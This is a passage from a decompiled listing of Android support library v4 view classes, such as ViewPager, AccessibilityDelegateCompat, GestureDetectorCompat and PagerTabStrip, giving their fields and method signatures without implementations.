    public static boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityNodeInfo(Object, android.view.View, Object);
    public static void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void sendAccessibilityEvent(Object, android.view.View, int);
    public static void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/AccessibilityDelegateCompatIcs$1.class


package android.support.v4.view;
final synchronized class AccessibilityDelegateCompatIcs$1 extends android.view.View$AccessibilityDelegate {
    void AccessibilityDelegateCompatIcs$1(AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.view.accessibility.AccessibilityNodeInfo);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewPager$SavedState.class


package android.support.v4.view;
public synchronized class ViewPager$SavedState extends android.view.View$BaseSavedState {
    int position;
    android.os.Parcelable adapterState;
    ClassLoader loader;
    public static final android.os.Parcelable$Creator CREATOR;
    public void ViewPager$SavedState(android.os.Parcelable);
    public void writeToParcel(android.os.Parcel, int);
    public String toString();
    void ViewPager$SavedState(android.os.Parcel, ClassLoader);
    static void <clinit>();
}










android/support/v4/view/PagerTitleStrip$PagerTitleStripImplIcs.class


package android.support.v4.view;
synchronized class PagerTitleStrip$PagerTitleStripImplIcs implements PagerTitleStrip$PagerTitleStripImpl {
    void PagerTitleStrip$PagerTitleStripImplIcs();
    public void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatStubImpl.class


package android.support.v4.view;
synchronized class ViewGroupCompat$ViewGroupCompatStubImpl implements ViewGroupCompat$ViewGroupCompatImpl {
    void ViewGroupCompat$ViewGroupCompatStubImpl();
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
}










android/support/v4/view/MenuItemCompat$HoneycombMenuVersionImpl.class


package android.support.v4.view;
synchronized class MenuItemCompat$HoneycombMenuVersionImpl implements MenuItemCompat$MenuVersionImpl {
    void MenuItemCompat$HoneycombMenuVersionImpl();
    public boolean setShowAsAction(android.view.MenuItem, int);
    public android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
}










android/support/v4/view/ViewPager$PageTransformer.class


package android.support.v4.view;
public abstract interface ViewPager$PageTransformer {
    public abstract void transformPage(android.view.View, float);
}










android/support/v4/view/GestureDetectorCompat.class


package android.support.v4.view;
public synchronized class GestureDetectorCompat {
    private final GestureDetectorCompat$GestureDetectorCompatImpl mImpl;
    public void GestureDetectorCompat(android.content.Context, android.view.GestureDetector$OnGestureListener);
    public void GestureDetectorCompat(android.content.Context, android.view.GestureDetector$OnGestureListener, android.os.Handler);
    public boolean isLongpressEnabled();
    public boolean onTouchEvent(android.view.MotionEvent);
    public void setIsLongpressEnabled(boolean);
    public void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
}










android/support/v4/view/MenuCompat.class


package android.support.v4.view;
public synchronized class MenuCompat {
    static final MenuCompat$MenuVersionImpl IMPL;
    public void MenuCompat();
    public static boolean setShowAsAction(android.view.MenuItem, int);
    static void <clinit>();
}










android/support/v4/view/ViewCompat$GBViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$GBViewCompatImpl extends ViewCompat$BaseViewCompatImpl {
    void ViewCompat$GBViewCompatImpl();
    public int getOverScrollMode(android.view.View);
    public void setOverScrollMode(android.view.View, int);
}










android/support/v4/view/KeyEventCompat$KeyEventVersionImpl.class


package android.support.v4.view;
abstract interface KeyEventCompat$KeyEventVersionImpl {
    public abstract int normalizeMetaState(int);
    public abstract boolean metaStateHasModifiers(int, int);
    public abstract boolean metaStateHasNoModifiers(int);
    public abstract void startTracking(android.view.KeyEvent);
    public abstract boolean isTracking(android.view.KeyEvent);
}










android/support/v4/view/VelocityTrackerCompat$HoneycombVelocityTrackerVersionImpl.class


package android.support.v4.view;
synchronized class VelocityTrackerCompat$HoneycombVelocityTrackerVersionImpl implements VelocityTrackerCompat$VelocityTrackerVersionImpl {
    void VelocityTrackerCompat$HoneycombVelocityTrackerVersionImpl();
    public float getXVelocity(android.view.VelocityTracker, int);
    public float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/VelocityTrackerCompat$VelocityTrackerVersionImpl.class


package android.support.v4.view;
abstract interface VelocityTrackerCompat$VelocityTrackerVersionImpl {
    public abstract float getXVelocity(android.view.VelocityTracker, int);
    public abstract float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/MenuItemCompat$BaseMenuVersionImpl.class


package android.support.v4.view;
synchronized class MenuItemCompat$BaseMenuVersionImpl implements MenuItemCompat$MenuVersionImpl {
    void MenuItemCompat$BaseMenuVersionImpl();
    public boolean setShowAsAction(android.view.MenuItem, int);
    public android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
}










android/support/v4/view/AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge.class


package android.support.v4.view;
public abstract interface AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge {
    public abstract boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public abstract void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void sendAccessibilityEvent(android.view.View, int);
    public abstract void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewPager$3.class


package android.support.v4.view;
synchronized class ViewPager$3 implements Runnable {
    void ViewPager$3(ViewPager);
    public void run();
}










android/support/v4/view/ViewCompatJB.class


package android.support.v4.view;
public synchronized class ViewCompatJB {
    public void ViewCompatJB();
    public static boolean hasTransientState(android.view.View);
    public static void setHasTransientState(android.view.View, boolean);
    public static void postInvalidateOnAnimation(android.view.View);
    public static void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public static void postOnAnimation(android.view.View, Runnable);
    public static void postOnAnimationDelayed(android.view.View, Runnable, long);
    public static int getImportantForAccessibility(android.view.View);
    public static void setImportantForAccessibility(android.view.View, int);
    public static boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public static Object getAccessibilityNodeProvider(android.view.View);
    public static android.view.ViewParent getParentForAccessibility(android.view.View);
}










android/support/v4/view/ViewGroupCompat.class


package android.support.v4.view;
public synchronized class ViewGroupCompat {
    static final ViewGroupCompat$ViewGroupCompatImpl IMPL;
    private void ViewGroupCompat();
    public static boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
    static void <clinit>();
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl$1.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl$1 implements AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean {
    void AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl$1(AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl, AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public Object getAccessibilityNodeProvider(android.view.View);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewPager$SimpleOnPageChangeListener.class


package android.support.v4.view;
public synchronized class ViewPager$SimpleOnPageChangeListener implements ViewPager$OnPageChangeListener {
    public void ViewPager$SimpleOnPageChangeListener();
    public void onPageScrolled(int, float, int);
    public void onPageSelected(int);
    public void onPageScrollStateChanged(int);
}










android/support/v4/view/KeyEventCompatHoneycomb.class


package android.support.v4.view;
synchronized class KeyEventCompatHoneycomb {
    void KeyEventCompatHoneycomb();
    public static int normalizeMetaState(int);
    public static boolean metaStateHasModifiers(int, int);
    public static boolean metaStateHasNoModifiers(int);
}










android/support/v4/view/MenuItemCompat$MenuVersionImpl.class


package android.support.v4.view;
abstract interface MenuItemCompat$MenuVersionImpl {
    public abstract boolean setShowAsAction(android.view.MenuItem, int);
    public abstract android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
}










android/support/v4/view/ViewPager$ViewPositionComparator.class


package android.support.v4.view;
synchronized class ViewPager$ViewPositionComparator implements java.util.Comparator {
    void ViewPager$ViewPositionComparator();
    public int compare(android.view.View, android.view.View);
}










android/support/v4/view/AccessibilityDelegateCompatJellyBean$1.class


package android.support.v4.view;
final synchronized class AccessibilityDelegateCompatJellyBean$1 extends android.view.View$AccessibilityDelegate {
    void AccessibilityDelegateCompatJellyBean$1(AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.view.accessibility.AccessibilityNodeInfo);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public android.view.accessibility.AccessibilityNodeProvider getAccessibilityNodeProvider(android.view.View);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewCompatJellybeanMr1.class


package android.support.v4.view;
synchronized class ViewCompatJellybeanMr1 {
    void ViewCompatJellybeanMr1();
    public static int getLabelFor(android.view.View);
    public static void setLabelFor(android.view.View, int);
    public static void setLayerPaint(android.view.View, android.graphics.Paint);
    public static int getLayoutDirection(android.view.View);
    public static void setLayoutDirection(android.view.View, int);
}










android/support/v4/view/MotionEventCompatEclair.class


package android.support.v4.view;
synchronized class MotionEventCompatEclair {
    void MotionEventCompatEclair();
    public static int findPointerIndex(android.view.MotionEvent, int);
    public static int getPointerId(android.view.MotionEvent, int);
    public static float getX(android.view.MotionEvent, int);
    public static float getY(android.view.MotionEvent, int);
    public static int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/PagerTitleStripIcs$SingleLineAllCapsTransform.class


package android.support.v4.view;
synchronized class PagerTitleStripIcs$SingleLineAllCapsTransform extends android.text.method.SingleLineTransformationMethod {
    private static final String TAG = SingleLineAllCapsTransform;
    private java.util.Locale mLocale;
    public void PagerTitleStripIcs$SingleLineAllCapsTransform(android.content.Context);
    public CharSequence getTransformation(CharSequence, android.view.View);
}










android/support/v4/view/MotionEventCompat$MotionEventVersionImpl.class


package android.support.v4.view;
abstract interface MotionEventCompat$MotionEventVersionImpl {
    public abstract int findPointerIndex(android.view.MotionEvent, int);
    public abstract int getPointerId(android.view.MotionEvent, int);
    public abstract float getX(android.view.MotionEvent, int);
    public abstract float getY(android.view.MotionEvent, int);
    public abstract int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/PagerTitleStrip$PagerTitleStripImpl.class


package android.support.v4.view;
abstract interface PagerTitleStrip$PagerTitleStripImpl {
    public abstract void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/GravityCompat$GravityCompatImpl.class


package android.support.v4.view;
abstract interface GravityCompat$GravityCompatImpl {
    public abstract int getAbsoluteGravity(int, int);
    public abstract void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public abstract void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public abstract void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
}










android/support/v4/view/PagerTitleStrip$1.class


package android.support.v4.view;
synchronized class PagerTitleStrip$1 {
}










android/support/v4/view/GravityCompat$GravityCompatImplJellybeanMr1.class


package android.support.v4.view;
synchronized class GravityCompat$GravityCompatImplJellybeanMr1 implements GravityCompat$GravityCompatImpl {
    void GravityCompat$GravityCompatImplJellybeanMr1();
    public int getAbsoluteGravity(int, int);
    public void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatHCImpl.class


package android.support.v4.view;
synchronized class ViewGroupCompat$ViewGroupCompatHCImpl extends ViewGroupCompat$ViewGroupCompatStubImpl {
    void ViewGroupCompat$ViewGroupCompatHCImpl();
    public void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler.class


package android.support.v4.view;
synchronized class GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler extends android.os.Handler {
    void GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler(GestureDetectorCompat$GestureDetectorCompatImplBase);
    void GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler(GestureDetectorCompat$GestureDetectorCompatImplBase, android.os.Handler);
    public void handleMessage(android.os.Message);
}










android/support/v4/view/MotionEventCompat$BaseMotionEventVersionImpl.class


package android.support.v4.view;
synchronized class MotionEventCompat$BaseMotionEventVersionImpl implements MotionEventCompat$MotionEventVersionImpl {
    void MotionEventCompat$BaseMotionEventVersionImpl();
    public int findPointerIndex(android.view.MotionEvent, int);
    public int getPointerId(android.view.MotionEvent, int);
    public float getX(android.view.MotionEvent, int);
    public float getY(android.view.MotionEvent, int);
    public int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/AccessibilityDelegateCompatJellyBean.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompatJellyBean {
    void AccessibilityDelegateCompatJellyBean();
    public static Object newAccessibilityDelegateBridge(AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean);
    public static Object getAccessibilityNodeProvider(Object, android.view.View);
    public static boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImplBase.class


package android.support.v4.view;
synchronized class GestureDetectorCompat$GestureDetectorCompatImplBase implements GestureDetectorCompat$GestureDetectorCompatImpl {
    private int mTouchSlopSquare;
    private int mDoubleTapSlopSquare;
    private int mMinimumFlingVelocity;
    private int mMaximumFlingVelocity;
    private static final int LONGPRESS_TIMEOUT;
    private static final int TAP_TIMEOUT;
    private static final int DOUBLE_TAP_TIMEOUT;
    private static final int SHOW_PRESS = 1;
    private static final int LONG_PRESS = 2;
    private static final int TAP = 3;
    private final android.os.Handler mHandler;
    private final android.view.GestureDetector$OnGestureListener mListener;
    private android.view.GestureDetector$OnDoubleTapListener mDoubleTapListener;
    private boolean mStillDown;
    private boolean mDeferConfirmSingleTap;
    private boolean mInLongPress;
    private boolean mAlwaysInTapRegion;
    private boolean mAlwaysInBiggerTapRegion;
    private android.view.MotionEvent mCurrentDownEvent;
    private android.view.MotionEvent mPreviousUpEvent;
    private boolean mIsDoubleTapping;
    private float mLastFocusX;
    private float mLastFocusY;
    private float mDownFocusX;
    private float mDownFocusY;
    private boolean mIsLongpressEnabled;
    private android.view.VelocityTracker mVelocityTracker;
    public void GestureDetectorCompat$GestureDetectorCompatImplBase(android.content.Context, android.view.GestureDetector$OnGestureListener, android.os.Handler);
    private void init(android.content.Context);
    public void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
    public void setIsLongpressEnabled(boolean);
    public boolean isLongpressEnabled();
    public boolean onTouchEvent(android.view.MotionEvent);
    private void cancel();
    private void cancelTaps();
    private boolean isConsideredDoubleTap(android.view.MotionEvent, android.view.MotionEvent, android.view.MotionEvent);
    private void dispatchLongPress();
    static void <clinit>();
}










android/support/v4/view/ViewConfigurationCompat.class


package android.support.v4.view;
public synchronized class ViewConfigurationCompat {
    static final ViewConfigurationCompat$ViewConfigurationVersionImpl IMPL;
    public void ViewConfigurationCompat();
    public static int getScaledPagingTouchSlop(android.view.ViewConfiguration);
    static void <clinit>();
}










android/support/v4/view/MenuCompat$HoneycombMenuVersionImpl.class


package android.support.v4.view;
synchronized class MenuCompat$HoneycombMenuVersionImpl implements MenuCompat$MenuVersionImpl {
    void MenuCompat$HoneycombMenuVersionImpl();
    public boolean setShowAsAction(android.view.MenuItem, int);
}










android/support/v4/view/ViewCompat$JbMr1ViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$JbMr1ViewCompatImpl extends ViewCompat$JBViewCompatImpl {
    void ViewCompat$JbMr1ViewCompatImpl();
    public int getLabelFor(android.view.View);
    public void setLabelFor(android.view.View, int);
    public void setLayerPaint(android.view.View, android.graphics.Paint);
    public int getLayoutDirection(android.view.View);
    public void setLayoutDirection(android.view.View, int);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatIcsImpl.class


package android.support.v4.view;
synchronized class ViewGroupCompat$ViewGroupCompatIcsImpl extends ViewGroupCompat$ViewGroupCompatHCImpl {
    void ViewGroupCompat$ViewGroupCompatIcsImpl();
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/GravityCompatJellybeanMr1.class


package android.support.v4.view;
synchronized class GravityCompatJellybeanMr1 {
    void GravityCompatJellybeanMr1();
    public static int getAbsoluteGravity(int, int);
    public static void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public static void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public static void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
}










android/support/v4/view/ViewPager$MyAccessibilityDelegate.class


package android.support.v4.view;
synchronized class ViewPager$MyAccessibilityDelegate extends AccessibilityDelegateCompat {
    void ViewPager$MyAccessibilityDelegate(ViewPager);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl extends AccessibilityDelegateCompat$AccessibilityDelegateStubImpl {
    void AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl();
    public Object newAccessiblityDelegateDefaultImpl();
    public Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(Object, android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(Object, android.view.View, int);
    public void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/PagerAdapter.class


package android.support.v4.view;
public abstract synchronized class PagerAdapter {
    private android.database.DataSetObservable mObservable;
    public static final int POSITION_UNCHANGED = -1;
    public static final int POSITION_NONE = -2;
    public void PagerAdapter();
    public abstract int getCount();
    public void startUpdate(android.view.ViewGroup);
    public Object instantiateItem(android.view.ViewGroup, int);
    public void destroyItem(android.view.ViewGroup, int, Object);
    public void setPrimaryItem(android.view.ViewGroup, int, Object);
    public void finishUpdate(android.view.ViewGroup);
    public void startUpdate(android.view.View);
    public Object instantiateItem(android.view.View, int);
    public void destroyItem(android.view.View, int, Object);
    public void setPrimaryItem(android.view.View, int, Object);
    public void finishUpdate(android.view.View);
    public abstract boolean isViewFromObject(android.view.View, Object);
    public android.os.Parcelable saveState();
    public void restoreState(android.os.Parcelable, ClassLoader);
    public int getItemPosition(Object);
    public void notifyDataSetChanged();
    public void registerDataSetObserver(android.database.DataSetObserver);
    public void unregisterDataSetObserver(android.database.DataSetObserver);
    public CharSequence getPageTitle(int);
    public float getPageWidth(int);
}










android/support/v4/view/ViewPager$OnAdapterChangeListener.class


package android.support.v4.view;
abstract interface ViewPager$OnAdapterChangeListener {
    public abstract void onAdapterChanged(PagerAdapter, PagerAdapter);
}










android/support/v4/view/PagerTabStrip$2.class


package android.support.v4.view;
synchronized class PagerTabStrip$2 implements android.view.View$OnClickListener {
    void PagerTabStrip$2(PagerTabStrip);
    public void onClick(android.view.View);
}










android/support/v4/view/ViewPager$LayoutParams.class


package android.support.v4.view;
public synchronized class ViewPager$LayoutParams extends android.view.ViewGroup$LayoutParams {
    public boolean isDecor;
    public int gravity;
    float widthFactor;
    boolean needsMeasure;
    int position;
    int childIndex;
    public void ViewPager$LayoutParams();
    public void ViewPager$LayoutParams(android.content.Context, android.util.AttributeSet);
}










android/support/v4/view/ViewPager$SavedState$1.class


package android.support.v4.view;
final synchronized class ViewPager$SavedState$1 implements android.support.v4.os.ParcelableCompatCreatorCallbacks {
    void ViewPager$SavedState$1();
    public ViewPager$SavedState createFromParcel(android.os.Parcel, ClassLoader);
    public ViewPager$SavedState[] newArray(int);
}










android/support/v4/view/ViewPager$Decor.class


package android.support.v4.view;
abstract interface ViewPager$Decor {
}










android/support/v4/view/ViewConfigurationCompat$BaseViewConfigurationVersionImpl.class


package android.support.v4.view;
synchronized class ViewConfigurationCompat$BaseViewConfigurationVersionImpl implements ViewConfigurationCompat$ViewConfigurationVersionImpl {
    void ViewConfigurationCompat$BaseViewConfigurationVersionImpl();
    public int getScaledPagingTouchSlop(android.view.ViewConfiguration);
}










android/support/v4/view/KeyEventCompat.class


package android.support.v4.view;
public synchronized class KeyEventCompat {
    static final KeyEventCompat$KeyEventVersionImpl IMPL;
    public void KeyEventCompat();
    public static int normalizeMetaState(int);
    public static boolean metaStateHasModifiers(int, int);
    public static boolean metaStateHasNoModifiers(int);
    public static boolean hasModifiers(android.view.KeyEvent, int);
    public static boolean hasNoModifiers(android.view.KeyEvent);
    public static void startTracking(android.view.KeyEvent);
    public static boolean isTracking(android.view.KeyEvent);
    static void <clinit>();
}










android/support/v4/view/ViewGroupCompatHC.class


package android.support.v4.view;
synchronized class ViewGroupCompatHC {
    private void ViewGroupCompatHC();
    public static void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
}










android/support/v4/view/ViewPager$PagerObserver.class


package android.support.v4.view;
synchronized class ViewPager$PagerObserver extends android.database.DataSetObserver {
    private void ViewPager$PagerObserver(ViewPager);
    public void onChanged();
    public void onInvalidated();
}










android/support/v4/view/GravityCompat$GravityCompatImplBase.class


package android.support.v4.view;
synchronized class GravityCompat$GravityCompatImplBase implements GravityCompat$GravityCompatImpl {
    void GravityCompat$GravityCompatImplBase();
    public int getAbsoluteGravity(int, int);
    public void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
}










android/support/v4/view/KeyEventCompatEclair.class


package android.support.v4.view;
synchronized class KeyEventCompatEclair {
    void KeyEventCompatEclair();
    public static void startTracking(android.view.KeyEvent);
    public static boolean isTracking(android.view.KeyEvent);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateImpl.class


package android.support.v4.view;
abstract interface AccessibilityDelegateCompat$AccessibilityDelegateImpl {
    public abstract Object newAccessiblityDelegateDefaultImpl();
    public abstract Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public abstract boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(Object, android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public abstract void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void sendAccessibilityEvent(Object, android.view.View, int);
    public abstract void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object, android.view.View);
    public abstract boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewCompat$ViewCompatImpl.class


package android.support.v4.view;
abstract interface ViewCompat$ViewCompatImpl {
    public abstract boolean canScrollHorizontally(android.view.View, int);
    public abstract boolean canScrollVertically(android.view.View, int);
    public abstract int getOverScrollMode(android.view.View);
    public abstract void setOverScrollMode(android.view.View, int);
    public abstract void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public abstract void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
    public abstract boolean hasTransientState(android.view.View);
    public abstract void setHasTransientState(android.view.View, boolean);
    public abstract void postInvalidateOnAnimation(android.view.View);
    public abstract void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public abstract void postOnAnimation(android.view.View, Runnable);
    public abstract void postOnAnimationDelayed(android.view.View, Runnable, long);
    public abstract int getImportantForAccessibility(android.view.View);
    public abstract void setImportantForAccessibility(android.view.View, int);
    public abstract boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public abstract accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public abstract void setLayerType(android.view.View, int, android.graphics.Paint);
    public abstract int getLayerType(android.view.View);
    public abstract int getLabelFor(android.view.View);
    public abstract void setLabelFor(android.view.View, int);
    public abstract void setLayerPaint(android.view.View, android.graphics.Paint);
    public abstract int getLayoutDirection(android.view.View);
    public abstract void setLayoutDirection(android.view.View, int);
    public abstract android.view.ViewParent getParentForAccessibility(android.view.View);
}










android/support/v4/view/VelocityTrackerCompatHoneycomb.class


package android.support.v4.view;
synchronized class VelocityTrackerCompatHoneycomb {
    void VelocityTrackerCompatHoneycomb();
    public static float getXVelocity(android.view.VelocityTracker, int);
    public static float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/KeyEventCompat$EclairKeyEventVersionImpl.class


package android.support.v4.view;
synchronized class KeyEventCompat$EclairKeyEventVersionImpl extends KeyEventCompat$BaseKeyEventVersionImpl {
    void KeyEventCompat$EclairKeyEventVersionImpl();
    public void startTracking(android.view.KeyEvent);
    public boolean isTracking(android.view.KeyEvent);
}










android/support/v4/view/VelocityTrackerCompat$BaseVelocityTrackerVersionImpl.class


package android.support.v4.view;
synchronized class VelocityTrackerCompat$BaseVelocityTrackerVersionImpl implements VelocityTrackerCompat$VelocityTrackerVersionImpl {
    void VelocityTrackerCompat$BaseVelocityTrackerVersionImpl();
    public float getXVelocity(android.view.VelocityTracker, int);
    public float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/PagerTabStrip.class


package android.support.v4.view;
public synchronized class PagerTabStrip extends PagerTitleStrip {
    private static final String TAG = PagerTabStrip;
    private static final int INDICATOR_HEIGHT = 3;
    private static final int MIN_PADDING_BOTTOM = 6;
    private static final int TAB_PADDING = 16;
    private static final int TAB_SPACING = 32;
    private static final int MIN_TEXT_SPACING = 64;
    private static final int FULL_UNDERLINE_HEIGHT = 1;
    private static final int MIN_STRIP_HEIGHT = 32;
    private int mIndicatorColor;
    private int mIndicatorHeight;
    private int mMinPaddingBottom;
    private int mMinTextSpacing;
    private int mMinStripHeight;
    private int mTabPadding;
    private final android.graphics.Paint mTabPaint;
    private final android.graphics.Rect mTempRect;
    private int mTabAlpha;
    private boolean mDrawFullUnderline;
    private boolean mDrawFullUnderlineSet;
    private int mFullUnderlineHeight;
    private boolean mIgnoreTap;
    private float mInitialMotionX;
    private float mInitialMotionY;
    private int mTouchSlop;
